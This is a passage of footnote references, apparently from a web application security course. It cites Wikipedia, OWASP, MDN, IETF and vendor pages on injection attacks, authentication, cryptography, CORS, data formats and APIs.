(Wikipedia, 2021), https://www.php.net/manual/en/mysqli.real-escape-string.php↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Web_shell↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Directory_traversal_attack↩︎
-
(Mozilla, 2021), https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/includes↩︎
-
(Python Software Foundation, 2021), https://docs.python.org/3/library/os.path.html↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/List_of_file_signatures↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/File_(command)↩︎
-
(Python Software Foundation, 2021), https://docs.python.org/3/library/os.path.html#os.path.normpath↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/SQL_injection↩︎
-
(CheatSheet Series Team, 2021), https://cheatsheetseries.owasp.org/cheatsheets/Query_Parameterization_Cheat_Sheet.html↩︎
-
(Oracle, 2021), https://docs.oracle.com/javase/tutorial/jdbc/basics/prepared.html↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Authentication↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Authorization↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Access_control↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Session_(computer_science)↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/State_(computer_science)↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Hard_coding↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Database↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Database#Database_management_system↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Plaintext↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Encryption↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Cipher↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Key_(cryptography)↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Ciphertext↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Cryptography↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/ROT13↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Caesar_cipher↩︎
-
(NIST, 2020) https://csrc.nist.gov/Projects/Block-Cipher-Techniques/BCM/Current-Modes↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Substitution_cipher↩︎
-
(ietf, 2001) https://datatracker.ietf.org/doc/html/rfc3565↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Hash_function↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Cryptographic_hash_function↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/MD5↩︎
-
(University of Luxembourg, 2015) https://www.password-hashing.net/argon2-specs.pdf↩︎
-
(openwall), https://www.openwall.com/yescrypt/↩︎
-
(NIST, 2015) https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.202.pdf↩︎
-
(Johnny Shelly, 2002) http://bcrypt.sourceforge.net/↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Rainbow_table↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Salt_(cryptography)↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Concatenation↩︎
-
(Offensive Security, 2022) https://www.kali.org/tools/john/↩︎
-
(Offensive Security, 2022) https://www.kali.org/tools/hashcat/↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Multi-factor_authentication↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Transport_Layer_Security↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Transport_Layer_Security#TLS_handshake↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Handshaking#TCP_three-way_handshake↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Session_ID↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Session_hijacking↩︎
-
(PHP Tutorial, 2022), https://www.phptutorial.net/php-tutorial/php-session/↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Session_fixation↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Cache_(computing)↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Cache_(computing)#Web_cache↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Web_storage↩︎
-
(Firefox Source Docs, 2022), https://firefox-source-docs.mozilla.org/devtools-user/page_inspector/how_to/open_the_inspector/index.html↩︎
-
(Firefox Source Docs, 2022), https://firefox-source-docs.mozilla.org/devtools-user/storage_inspector/index.html↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/HTTP_cookie↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Magic_cookie↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Cross-site_scripting↩︎
-
(XMind Map, 2022), https://www.xmind.net/m/2FwJ7D/↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/HTTP_cookie#Privacy_and_third-party_cookies↩︎
-
(Mozilla MDN Web docs, 2022), https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Cross-site_request_forgery↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Man-in-the-middle_attack↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Identity_management↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Identity_management#Management_systems↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Federated_identity↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Single_sign-on↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Uninterruptible_power_supply↩︎
-
(Techopedia, 2022), https://www.techopedia.com/definition/29305/network-redundancy↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/OAuth↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/OpenID↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Security_Assertion_Markup_Language↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Identity_provider_(SAML)↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Service_provider_(SAML)↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/XML↩︎
-
(ietf, 2015) https://datatracker.ietf.org/doc/html/rfc7522 >↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Active_Directory↩︎
-
(ietf, 2006) https://datatracker.ietf.org/doc/html/rfc4511↩︎
-
(Oxford, 2023), https://www.oxfordreference.com/display/10.1093/oi/authority.20110803095842747;jsessionid=0CDC171200474733D0FA8DE2D4D77F07↩︎
-
(W3Schools, 2023), https://www.w3schools.com/java/java_data_types.asp↩︎
-
(Google, 2023), https://developers.google.com/search/docs/fundamentals/seo-starter-guide↩︎
-
(Hootsuite, 2021), https://blog.hootsuite.com/how-to-use-utm-parameters/↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Query_string↩︎
-
(OpenJS Foundation, 2017), https://expressjs.com/en/guide/routing.html↩︎
-
(HubSpot, 2022), https://blog.hubspot.com/website/what-is-wordpress-slug↩︎
-
(W3Schools, 2023), https://www.w3schools.com/tags/ref_urlencode.ASP↩︎
-
(The Internet Society, 1999), https://www.rfc-editor.org/rfc/rfc2616↩︎
-
(StackOverflow, 2021), https://stackoverflow.com/questions/812925/what-is-the-maximum-possible-length-of-a-query-string↩︎
-
(RedHat, 2020), https://www.redhat.com/en/topics/api/what-is-a-rest-api↩︎
-
(Mozilla, 2023), https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Type↩︎
-
(W3Schools, 2023), https://www.w3schools.com/js/js_json_intro.asp↩︎
-
(NISO, 2017), https://groups.niso.org/higherlogic/ws/public/download/17446/Understanding%20Metadata.pdf↩︎
-
(IETF, 2015), https://www.rfc-editor.org/rfc/rfc7519↩︎
-
(SQLMap, 2023), https://sqlmap.org/↩︎
-
(Python, 2022), https://peps.python.org/pep-0318/↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Sink_(computing)↩︎
-
(OWASP, 2023), https://owasp.org/www-community/attacks/xss/↩︎
-
(OWASP, 2023), https://owasp.org/www-community/attacks/SQL_Injection↩︎
-
(OWASP, 2023), https://owasp.org/www-community/attacks/Log_Injection↩︎
-
(OWASP, 2023), https://owasp.org/www-community/vulnerabilities/PHP_File_Inclusion↩︎
-
(CrowdStrike, 2022), https://www.crowdstrike.com/cybersecurity-101/remote-code-execution-rce/↩︎
-
(OWASP, 2023), https://owasp.org/www-community/attacks/Command_Injection↩︎
-
(Curl, 2023), https://curl.se/↩︎
-
(NCC Group, 2004), https://research.nccgroup.com/wp-content/uploads/2020/07/second-order_code_injection_attacks._advanced_code_injection_techniques_and_testing_procedures.pdf↩︎
-
(Sun Microsystems, 1995), https://docs.oracle.com/javase/tutorial/java/nutsandbolts/datatypes.html↩︎
-
(W3Schools, 2023), https://www.w3schools.com/js/js_strict.asp↩︎
-
(Oracle, 2015), https://web.archive.org/web/20221212194033/https://docs.oracle.com/cd/E57471_01/bigData.100/extensions_bdd/src/cext_transform_typing.html↩︎
-
(Artima, 2003), https://www.artima.com/weblogs/viewpost.jsp?thread=7590↩︎
-
(Microsoft, 2022), https://learn.microsoft.com/en-us/dotnet/csharp/programming-guide/types/casting-and-type-conversions↩︎↩︎
-
(Mozilla, 2023), https://developer.mozilla.org/en-US/docs/Glossary/Type_coercion↩︎
-
(Cool Conversion, 2023), https://www.georgebrown.ca/sites/default/files/uploadedfiles/tlc/_documents/Scientific_Notation.pdf↩︎
-
(NIST, 2020), https://nvd.nist.gov/vuln/detail/CVE-2020-8088↩︎
-
(PHP Group, 2023), https://www.php.net/manual/en/types.comparisons.php↩︎
-
(PHP Group, 2023), https://www.php.net/manual/en/language.operators.comparison.php#language.operators.comparison↩︎
-
(Mozilla, 2023), https://developer.mozilla.org/en-US/docs/Glossary/Truthy↩︎
-
(Mozilla, 2023), https://developer.mozilla.org/en-US/docs/Glossary/Falsy↩︎
-
(Trend Micro, 2023), https://www.trendmicro.com/vinfo/us/security/definition/blocklist↩︎
-
(Kaspersky, 2023), https://encyclopedia.kaspersky.com/glossary/hashing/↩︎
-
(Trend Micro, 2023), https://www.trendmicro.com/vinfo/us/security/definition/safelist↩︎
-
(The Open Group, 1997), http://www-stat.wharton.upenn.edu/~buja/STAT-540/Regular-Expressions-man-page.htm↩︎
-
(Free Software Foundation Inc., 2023), https://www.gnu.org/software/grep/manual/grep.html↩︎
-
(The Open Group Base Specifications, 2018), https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap09.html↩︎
-
(Perl, 2002), https://www.perl.org/↩︎
-
(PCRE, 1997), https://www.pcre.org/↩︎
-
(IBM, 2021), https://www.ibm.com/docs/en/rational-clearquest/9.0.1?topic=tags-meta-characters-in-regular-expressions↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Escape_sequence↩︎
-
(Python, 2023), https://docs.python.org/3/library/re.html↩︎
-
(W3Schools, 2023), https://www.w3schools.com/python/python_regex.asp#sub↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/List_of_mobile_telephone_prefixes_by_country↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Divide-and-conquer_algorithm↩︎
-
(O’Reilly Media, Inc, 2023), https://www.oreilly.com/library/view/regular-expressions-cookbook/9781449327453/ch04s14.html↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Top-level_domain↩︎
-
(OWASP, 2023), https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS↩︎↩︎
-
(Mozilla, 2023), https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/List_of_file_signatures↩︎
-
(Exiftool, 2023), https://exiftool.org/↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Exif↩︎
-
(ImageMagick Studio, 1999), https://imagemagick.org/index.php↩︎
-
(Digital Ocean, 2012), https://www.digitalocean.com/community/tutorials/how-to-use-the-htaccess-file↩︎
-
(The Apache Software Foundation, 2023), https://httpd.apache.org/docs/2.4/mod/core.html#virtualhost↩︎
-
(Amazon, 2023), https://aws.amazon.com/s3/↩︎
-
(WTForms, 2008), https://wtforms.readthedocs.io/en/2.3.x/↩︎
-
(Pallets, 2010), https://flask.palletsprojects.com/en/2.2.x/↩︎
-
(Python, 2023), https://docs.python.org/3/library/datetime.html↩︎
-
(Strftime, 2021), https://strftime.org/↩︎
-
(Digital Ocean, 2022), https://www.digitalocean.com/community/tutorials/python-string-to-datetime-strptime↩︎
-
(PHP, 2023), https://www.php.net/manual/en/function.filter-var.php↩︎
-
(Microsoft, 2022), https://learn.microsoft.com/en-us/dotnet/csharp/programming-guide/concepts/serialization/↩︎
-
(W3C, 2015), https://www.w3.org/standards/xml/core↩︎
-
(PortSwigger Ltd, 2023), https://portswigger.net/web-security/xxe↩︎
-
(PortSwigger, 2023), https://portswigger.net/burp↩︎
-
(Fortinet Inc, 2023), https://www.fortinet.com/resources/cyberglossary/defense-in-depth↩︎
-
(W3Schools, 2023), https://www.w3schools.com/html/html_entities.asp↩︎
-
(PHP, 2023), https://www.php.net/manual/en/function.htmlentities↩︎
-
(PHP, 2023), https://www.php.net/manual/en/mysqli.real-escape-string.php↩︎
-
(Cure53, 2023), https://github.com/cure53/DOMPurify↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Serialization↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Sun_Microsystems↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/External_Data_Representation↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Character_encoding↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Unicode↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/ASCII↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Base64↩︎
-
(IETF, 2006), https://datatracker.ietf.org/doc/html/rfc4648#section-8↩︎
-
(Unicode Inc.), https://www.unicode.org/L2/L1999/99172.htm↩︎
-
(Unicode Inc.), https://www.unicode.org/faq/utf_bom.html↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/UTF-8↩︎
-
(IETF, 2010), https://tools.ietf.org/search/rfc5892↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Data_exfiltration↩︎
-
(Linux man page, 2022), https://linux.die.net/man/1/xxd↩︎
-
(man7.org, 2021), https://www.man7.org/linux/man-pages/man1/tr.1.html↩︎
-
(IETF, 2018), https://datatracker.ietf.org/doc/html/rfc8409↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Comparison_of_data-serialization_formats↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/XML↩︎
-
(IETF, 1995), https://www.rfc-editor.org/rfc/rfc1874↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/HTML↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/CSS↩︎
-
(w3c, 2017), https://www.w3.org/TR/xslt-30/↩︎
-
(Unicode Inc.), https://www.unicode.org/versions/Unicode14.0.0/↩︎
-
(W3, 2022), https://www.w3.org/TR/2008/REC-xml-20081126/#sec-prolog-dtd↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Processing_Instruction↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/XHTML#XML_declaration↩︎
-
(W3, 2022), https://www.w3.org/TR/2008/REC-xml-20081126/#sec-common-syn↩︎
-
(W3, 2022), https://www.w3.org/TR/2008/REC-xml-20081126/#sec-comments↩︎
-
(W3, 2022), https://www.w3.org/TR/2008/REC-xml-20081126/#attdecls↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Metadata↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/XML_namespace↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Uniform_Resource_Identifier↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/JSON↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/JavaScript↩︎
-
(JSON, 2022), https://www.json.org/json-en.html↩︎
-
(IETF, 2022), https://datatracker.ietf.org/doc/html/rfc8259↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Internet_Engineering_Task_Force↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/BSON↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/MongoDB↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array↩︎
-
(IETF, 2015), https://www.rfc-editor.org/rfc/rfc7468↩︎
-
(GNU.org), https://www.gnu.org/software/gzip/↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/YAML↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Recursive_acronym↩︎
-
(Ansible, 2022), https://www.ansible.com/↩︎↩︎
-
(datacadamia.com), https://datacadamia.com/data/type/text/surrogate↩︎
-
(Yaml, 2022), https://yaml.org/↩︎
- ^dsl_yaml2 ↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Parsing↩︎
-
(PyYAML, 2022), https://pyyaml.org/wiki/PyYAML↩︎
- ^dsl_pyyaml2 ↩︎
-
(Kubernetes, 2022), https://kubernetes.io/↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Template_processor↩︎
-
(Microsoft, 2022), https://learn.microsoft.com/en-us/visualstudio/data-tools/n-tier-data-applications-overview?view=vs-2022↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Glossary/MVC↩︎
-
(Hibernate, 2022), https://hibernate.org/orm/↩︎
-
(Jinn Kim, 2018), https://www.raywenderlich.com/7026-getting-started-with-mvp-model-view-presenter-on-android↩︎
-
(Digital Ocean, 2022), https://www.digitalocean.com/community/tutorials/android-mvvm-design-pattern↩︎
-
(Tute Costa , 2013), https://github.com/tute/phpscaffold↩︎
-
(Laravel, 2022), https://laravel.com/↩︎
-
(Backpack for Laravel, 2022), https://backpackforlaravel.com/↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Idempotence↩︎
-
(W3Schools, 2022), https://www.w3schools.com/sql/sql_injection.asp↩︎
-
(PHP, 2022), https://www.php.net/manual/en/function.mysql-connect.php↩︎
-
(PHP, 2022), https://www.php.net/manual/en/book.mysqli.php↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Separation_of_concerns↩︎
-
(Laravel, 2022), https://laravel.com/docs/9.x/blade↩︎
-
(Mailchimp, 2022), https://mailchimp.com/help/all-the-merge-tags-cheat-sheet/↩︎
-
(Yaml, 2022), https://yaml.org/↩︎
-
(Ansible, 2022), https://www.ansible.com/↩︎
-
(Michael Kerrisk, 2021), https://man7.org/linux/man-pages/man1/touch.1.html↩︎
-
(Jinja, 2022), https://jinja.palletsprojects.com/en/3.1.x/↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Glossary/SPA↩︎
-
(Vue, 2022), https://vuejs.org/↩︎
-
(Angular, 2022), https://angular.io↩︎
-
(React, 2022), https://reactjs.org/↩︎
-
(Angular, 2022), https://angular.io/guide/architecture-components↩︎
-
(Symfony, 2022), https://twig.symfony.com/doc/2.x/tags/macro.html↩︎
-
(Symfony, 2022), https://twig.symfony.com/doc/2.x/filters/index.html↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Leet↩︎
-
(Mustache, 2022), https://mustache.github.io/mustache.5.html↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Glossary/Truthy↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Glossary/Falsy↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Web_service↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/API↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Web_scraping↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Remote_procedure_call↩︎
-
(W3Schools, 2022), https://www.w3schools.com/xml/xml_soap.asp↩︎
-
(RedHat Inc., 2022), https://www.redhat.com/en/topics/api/what-is-a-rest-api↩︎
-
(GraphQL Foundation, 2022), https://graphql.org/↩︎
-
(gRPC, 2022), https://grpc.io/↩︎
-
(W3Schools, 2022), https://www.w3schools.com/cpp/cpp_oop.asp↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Common_Object_Request_Broker_Architecture↩︎
-
(Oracle, 2022), https://www.oracle.com/java/technologies/javase/remote-method-invocation-home.html↩︎
-
(Oracle, 2022), https://docs.oracle.com/javase/tutorial/java/concepts/interface.html↩︎
-
(Oracle, 2022), https://docs.oracle.com/javase/tutorial/java/concepts/inheritance.html↩︎
-
(Oracle, 2022), https://docs.oracle.com/javase/8/docs/api/java/rmi/server/UnicastRemoteObject.html↩︎
-
(W3C, 2022), https://www.w3.org/standards/xml/core↩︎
-
(Microsoft, 2021), https://learn.microsoft.com/en-us/dotnet/framework/wcf/feature-details/contracts↩︎
-
(W3Schools, 2022), https://www.w3schools.com/xml/xml_wsdl.asp↩︎
-
(CURL, 2022), https://github.com/curl/curl↩︎
-
(Central Connecticut State University, 2022), https://chortle.ccsu.edu/java5/Notes/chap34A/ch34A_13.html↩︎
-
(SmartBear Software, 2022), https://www.soapui.org/↩︎
-
(TechTarget, 2022), https://www.techtarget.com/whatis/definition/abstraction↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Service-oriented_architecture↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods↩︎
-
(Cloudflare, 2022), https://www.cloudflare.com/learning/cdn/what-is-a-cdn/↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Web/HTTP/Status↩︎
-
(The Linux Foundation, 2022), https://www.openapis.org/↩︎
-
(SmartBear Software, 2022), https://github.com/swagger-api/swagger-ui↩︎
-
(FastAPI, 2022), https://fastapi.tiangolo.com/↩︎
-
(VMWare, Inc., 2022), https://spring.io/projects/spring-boot↩︎
-
(Postman Inc., 2022), https://www.postman.com/↩︎
-
(Python, 2022), https://peps.python.org/pep-0318/↩︎
-
(PortSwigger, 2022), https://portswigger.net/web-security/access-control/idor↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Atomicity_(database_systems)↩︎
-
(Amazon Web Services, 2022), https://aws.amazon.com/graphql/resolvers/↩︎
-
(W3Schools, 2022), https://www.w3schools.com/sql/sql_join_inner.asp↩︎
-
(GraphQL, 2022), https://github.com/graphql/graphiql↩︎
-
(OpenJS Foundation, 2022), https://www.electronjs.org/↩︎
-
(Strawberry, 2022), https://strawberry.rocks/↩︎
-
(Hibernate, 2022), https://hibernate.org/orm/what-is-an-orm/↩︎
-
(SQLAlchemy, 2022), https://www.sqlalchemy.org/↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Authentication↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Authorization↩︎
-
(Google, 2022), https://www.google.com/maps↩︎
-
(Google, 2022), https://developers.google.com/maps/documentation/javascript/overview#Dynamic↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer↩︎
-
(Internet Engineering Tsk Force, 2014), https://datatracker.ietf.org/doc/html/rfc7235↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Glossary/Base64↩︎
-
(Cloudflare, 2022), https://www.cloudflare.com/learning/cdn/glossary/reverse-proxy/↩︎
-
(Internet Engineering Task Force, 2015), https://www.rfc-editor.org/rfc/rfc7519↩︎
-
(Internet Engineering Task Force, 2015), https://www.rfc-editor.org/rfc/rfc7517↩︎
-
(Internet Engineering Task Force, 2015), https://www.rfc-editor.org/rfc/rfc7515↩︎
-
(Internet Engineering Task Force, 2015), https://www.rfc-editor.org/rfc/rfc7516↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Symmetric-key_algorithm↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Public-key_cryptography↩︎
-
(National Institute of Standards and Technology, 2022), https://nvd.nist.gov/vuln/detail/CVE-2020-15957↩︎
-
(Auth0, 2022), https://auth0.com/blog/how-saml-authentication-works/↩︎
-
(Shibboleth, 2022), https://www.shibboleth.net/↩︎
-
(Google, 2022), https://developers.google.com/identity/sign-in/web/sign-in↩︎
-
(Meta, 2022), https://developers.facebook.com/docs/facebook-login/↩︎
-
(NIST, 2022), https://csrc.nist.gov/glossary/term/back_channel_communication↩︎
-
(NIST, 2022), https://csrc.nist.gov/glossary/term/front_channel_communication↩︎
-
(Spotify, 2022), https://open.spotify.com/↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Whitelist↩︎
-
(OWASP, 2022), https://owasp.org/www-community/attacks/csrf↩︎
-
(Kaspersky, 2022), https://www.kaspersky.com/resource-center/definitions/replay-attack↩︎
-
(OpenID, 2022), https://openid.net/connect/↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS↩︎
-
(Auth0 2022), https://auth0.com/docs/get-started/authentication-and-authorization-flow/authorization-code-flow-with-proof-key-for-code-exchange-pkce↩︎
-
(Okta, 2022), https://developer.okta.com/blog/2018/12/13/oauth-2-for-native-and-mobile-apps↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Same-origin_policy↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Cross-origin_resource_sharing↩︎
-
(Mozilla, 2022), https://en.wikipedia.org/wiki/JSONP↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Communication_protocol↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Hostname↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Port_(computer_networking)↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Web/API/URL↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Web/API/URL/origin↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Web/API/origin↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Content_delivery_network↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Cross-site_request_forgery↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite↩︎
-
(Scott Helme, 2019), https://scotthelme.co.uk/csrf-is-really-dead/↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Origin↩︎
-
(The curl team, 2022), https://curl.se/↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#the_http_response_headers↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Credentials↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Methods↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Headers↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Glossary/CORS-safelisted_request_header↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Expose-Headers↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Glossary/CORS-safelisted_response_header↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Max-Age↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Glossary/Preflight_request↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Web/CSS/@font-face↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Shapes/Overview_of_CSS_Shapes↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Shapes/Shapes_From_Images↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/drawImage↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Asynchronous↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Web/API/Response↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/then↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Distributed_version_control↩︎↩︎
-
(Stackshare, 2022), https://stackshare.io/git↩︎
-
